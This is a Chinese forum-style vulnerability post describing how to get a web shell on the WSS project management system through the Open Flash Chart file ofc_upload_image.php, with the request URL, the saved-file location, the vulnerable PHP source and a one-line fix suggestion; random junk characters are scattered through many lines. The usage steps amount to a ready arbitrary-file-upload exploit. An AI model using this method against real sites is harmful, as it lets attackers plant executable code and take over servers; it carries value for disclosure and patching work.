WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
! F1 P3 a) q) i! b2 S, m) ` 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
$ @; M; [! T9 o) P; N, L+ x
利用：
% D7 d6 R+ r1 v& Y0 @1 t; G7 n5 n! ^/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
8 f& E# @8 w5 |7 H
Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


8 ~7 a( U! u0 y1 v最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

+ [) y7 G5 H( s<?php
$ n# M2 N& K2 j
5 Y  {% q. f8 \* h$ t' W) i9 b, ?//
: m- k$ g! F* M1 u// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

/*

1 e% w! T) t% ^, @print_r( $_GET );
( m2 Y' l* D# ^4 Eprint_r( $_POST );
8 l- \5 n8 G6 U4 D8 W) K/ gprint_r( $_FILES );
) y0 f% G) U$ x( U
print_r( $GLOBALS );
8 N; S/ ?% C* E' qprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

7 H( h0 o+ ]8 }/ Kif (!file_exists($default_path)) mkdir($default_path, 0777, true);
  D! a& Y6 P& H) S6 A
// full path to the saved image including filename //
* N6 E6 R/ E: ?' t  z6 ]$destination = $default_path . basename( $_GET[ 'name' ] );
& ?6 ?+ i' }& @- z7 ]2 ]7 \, h
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
3 V% j3 C: ]" {( M0 t  w// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
! S' ]4 i0 x5 E" l// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
: \# P* T; C1 ofwrite($jfh, $HTTP_RAW_POST_DATA);
* w- K' R. o% |$ ~fclose($jfh);

, T3 Z7 i- y8 b" s+ V) _//
// LOOK:
//
$ ~* B, Y- p% R* B3 K+ Iexit();
( T! J) |! i" q  t9 s//
// PHP5:
//


// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
: w/ H0 F$ i6 T; a6 j) g/ C( j1 L
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
$ \" U* Y% B$ Z4 E
8 v, p$ R/ V' H" G0 x1 Z+ v  e// move the image into the specified directory //
8 r( Y- b7 Y) C! K# lif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
0 P& j1 ~" n4 B9 w! g3 t: t& N    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
6 p6 I# _- Y) a; \}
1 L/ `; [& M: _: M: C

' X7 @' I% ?4 s& B?>


+ k9 ?# H9 ?! j' S2 x% j. z


8 ^0 z6 @: q( N& ^6 t. E& t
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
$ E) h, E& ^3 f; K- d0 F* H9 k
% n; w1 L8 X. y' C

  u$ F; {7 N. h; L5 T1 A
* }4 O& X$ C/ z0 m) T  Z* A, f